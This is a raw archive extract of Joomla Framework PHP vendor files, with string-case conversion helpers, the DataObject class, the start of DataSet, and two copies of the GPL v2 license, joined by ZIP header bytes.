"ThisIsA_NASAAstronaut" becomes array("This", "Is", "A_NASA", "Astronaut")) * "JohnFitzgerald_Kennedy" becomes array("John", "Fitzgerald_Kennedy")) * * Non-grouped will split strings at each uppercase character. * * @param string $input The string input (ASCII only). * @param boolean $grouped Optionally allows splitting on groups of uppercase characters. * * @return string The space separated string. * * @since 1.0 */ public static function fromCamelCase($input, $grouped = false) { return $grouped ? preg_split('/(?<=[^A-Z_])(?=[A-Z])|(?<=[A-Z])(?=[A-Z][^A-Z_])/x', $input) : trim(preg_replace('#([A-Z])#', ' $1', $input)); } /** * Method to convert a string into camel case. * * @param string $input The string input (ASCII only). * * @return string The camel case string. * * @since 1.0 */ public static function toCamelCase($input) { // Convert words to uppercase and then remove spaces. $input = self::toSpaceSeparated($input); $input = ucwords($input); $input = str_ireplace(' ', '', $input); return $input; } /** * Method to convert a string into dash separated form. * * @param string $input The string input (ASCII only). * * @return string The dash separated string. * * @since 1.0 */ public static function toDashSeparated($input) { // Convert spaces and underscores to dashes. $input = preg_replace('#[ \-_]+#', '-', $input); return $input; } /** * Method to convert a string into space separated form. * * @param string $input The string input (ASCII only). * * @return string The space separated string. * * @since 1.0 */ public static function toSpaceSeparated($input) { // Convert underscores and dashes to spaces. $input = preg_replace('#[ \-_]+#', ' ', $input); return $input; } /** * Method to convert a string into underscore separated form. * * @param string $input The string input (ASCII only). * * @return string The underscore separated string. * * @since 1.0 */ public static function toUnderscoreSeparated($input) { // Convert spaces and dashes to underscores. $input = preg_replace('#[ \-_]+#', '_', $input); return $input; } /** * Method to convert a string into variable form. * * @param string $input The string input (ASCII only). * * @return string The variable string. * * @since 1.0 */ public static function toVariable($input) { // Convert to camel case. $input = self::toCamelCase($input); // Remove leading digits. $input = preg_replace('#^[0-9]+#', '', $input); // Lowercase the first character. $input = lcfirst($input); return $input; } /** * Method to convert a string into key form. * * @param string $input The string input (ASCII only). * * @return string The key string. * * @since 1.0 */ public static function toKey($input) { // Remove spaces and dashes, then convert to lower case. $input = self::toUnderscoreSeparated($input); $input = strtolower($input); return $input; } } PKÜ�\�P�E�Evendor/joomla/string/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\�P�E�Evendor/joomla/data/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\��`g"g"%vendor/joomla/data/src/DataObject.phpnu�[���<?php /** * Part of the Joomla Framework Data Package * * @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Data; use Joomla\Registry\Registry; /** * DataObject is a class that is used to store data but allowing you to access the data * by mimicking the way PHP handles class properties. * * @since 1.0 */ class DataObject implements DumpableInterface, \IteratorAggregate, \JsonSerializable, \Countable { /** * The data object properties. * * @var array * @since 1.0 */ private $properties = array(); /** * The class constructor. * * @param mixed $properties Either an associative array or another object * by which to set the initial properties of the new object. * * @since 1.0 * @throws \InvalidArgumentException */ public function __construct($properties = array()) { // Check the properties input. if (!empty($properties)) { // Bind the properties. $this->bind($properties); } } /** * The magic get method is used to get a data property. * * This method is a public proxy for the protected getProperty method. * * Note: Magic __get does not allow recursive calls. This can be tricky because the error generated by recursing into * __get is "Undefined property: {CLASS}::{PROPERTY}" which is misleading. This is relevant for this class because * requesting a non-visible property can trigger a call to a sub-function. If that references the property directly in * the object, it will cause a recursion into __get. * * @param string $property The name of the data property. * * @return mixed The value of the data property, or null if the data property does not exist. * * @see DataObject::getProperty() * @since 1.0 */ public function __get($property) { return $this->getProperty($property); } /** * The magic isset method is used to check the state of an object property. * * @param string $property The name of the data property. * * @return boolean True if set, otherwise false is returned. * * @since 1.0 */ public function __isset($property) { return isset($this->properties[$property]); } /** * The magic set method is used to set a data property. * * This is a public proxy for the protected setProperty method. * * @param string $property The name of the data property. * @param mixed $value The value to give the data property. * * @return void * * @see DataObject::setProperty() * @since 1.0 */ public function __set($property, $value) { $this->setProperty($property, $value); } /** * The magic unset method is used to unset a data property. * * @param string $property The name of the data property. * * @return void * * @since 1.0 */ public function __unset($property) { unset($this->properties[$property]); } /** * Binds an array or object to this object. * * @param mixed $properties An associative array of properties or an object. * @param boolean $updateNulls True to bind null values, false to ignore null values. * * @return DataObject Returns itself to allow chaining. * * @since 1.0 * @throws \InvalidArgumentException */ public function bind($properties, $updateNulls = true) { // Check the properties data type. if (!is_array($properties) && !is_object($properties)) { throw new \InvalidArgumentException(sprintf('%s(%s)', __METHOD__, gettype($properties))); } // Check if the object is traversable. if ($properties instanceof \Traversable) { // Convert iterator to array. $properties = iterator_to_array($properties); } elseif (is_object($properties)) // Check if the object needs to be converted to an array. { // Convert properties to an array. $properties = (array) $properties; } // Bind the properties. foreach ($properties as $property => $value) { // Check if the value is null and should be bound. if ($value === null && !$updateNulls) { continue; } // Set the property. $this->setProperty($property, $value); } return $this; } /** * Dumps the data properties into a stdClass object, recursively if appropriate. * * @param integer $depth The maximum depth of recursion (default = 3). * For example, a depth of 0 will return a stdClass with all the properties in native * form. A depth of 1 will recurse into the first level of properties only. * @param \SplObjectStorage $dumped An array of already serialized objects that is used to avoid infinite loops. * * @return \stdClass The data properties as a simple PHP stdClass object. * * @since 1.0 */ public function dump($depth = 3, \SplObjectStorage $dumped = null) { // Check if we should initialise the recursion tracker. if ($dumped === null) { $dumped = new \SplObjectStorage; } // Add this object to the dumped stack. $dumped->attach($this); // Setup a container. $dump = new \stdClass; // Dump all object properties. foreach (array_keys($this->properties) as $property) { // Get the property. $dump->$property = $this->dumpProperty($property, $depth, $dumped); } return $dump; } /** * Gets this object represented as an ArrayIterator. * * This allows the data properties to be access via a foreach statement. * * @return \ArrayIterator This object represented as an ArrayIterator. * * @see IteratorAggregate::getIterator() * @since 1.0 */ public function getIterator() { return new \ArrayIterator($this->dump(0)); } /** * Gets the data properties in a form that can be serialised to JSON format. * * @return string An object that can be serialised by json_encode(). * * @since 1.0 */ public function jsonSerialize() { return $this->dump(); } /** * Dumps a data property. * * If recursion is set, this method will dump any object implementing Data\Dumpable (like Data\Object and Data\Set); it will * convert a Date object to a string; and it will convert a Registry to an object. * * @param string $property The name of the data property. * @param integer $depth The current depth of recursion (a value of 0 will ignore recursion). * @param \SplObjectStorage $dumped An array of already serialized objects that is used to avoid infinite loops. * * @return mixed The value of the dumped property. * * @since 1.0 */ protected function dumpProperty($property, $depth, \SplObjectStorage $dumped) { $value = $this->getProperty($property); if ($depth > 0) { // Check if the object is also an dumpable object. if ($value instanceof DumpableInterface) { // Do not dump the property if it has already been dumped. if (!$dumped->contains($value)) { $value = $value->dump($depth - 1, $dumped); } } // Check if the object is a date. if ($value instanceof \DateTime) { $value = $value->format('Y-m-d H:i:s'); } elseif ($value instanceof Registry) // Check if the object is a registry. { $value = $value->toObject(); } } return $value; } /** * Gets a data property. * * @param string $property The name of the data property. * * @return mixed The value of the data property. * * @see DataObject::__get() * @since 1.0 */ protected function getProperty($property) { // Get the raw value. $value = array_key_exists($property, $this->properties) ? $this->properties[$property] : null; return $value; } /** * Sets a data property. * * If the name of the property starts with a null byte, this method will return null. * * @param string $property The name of the data property. * @param mixed $value The value to give the data property. * * @return mixed The value of the data property. * * @see DataObject::__set() * @since 1.0 */ protected function setProperty($property, $value) { /* * Check if the property starts with a null byte. If so, discard it because a later attempt to try to access it * can cause a fatal error. See http://us3.php.net/manual/en/language.types.array.php#language.types.array.casting */ if (strpos($property, "\0") === 0) { return null; } // Set the value. $this->properties[$property] = $value; return $value; } /** * Count the number of data properties. * * @return integer The number of data properties. * * @since 1.0 */ public function count() { return count($this->properties); } } PKÜ�\*��9�9"vendor/joomla/data/src/DataSet.phpnu�[���<?php /** * Part of the Joomla Framework Data Package * * @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Data; /** * DataSet is a collection class that allows the developer to operate on a set of DataObject objects as if they were in a * typical PHP array. * * @since 1.0 */ class DataSet implements DumpableInterface, \ArrayAccess, \Countable, \Iterator { /** * The current position of the iterator. * * @var integer * @since 1.0 */ private $current = false; /** * The iterator objects. * * @var DataObject[] * @since 1.0 */ private $objects = array(); /** * The class constructor. * * @param DataObject[] $objects An array of DataObject objects to bind to the data set. * * @since 1.0 * @throws 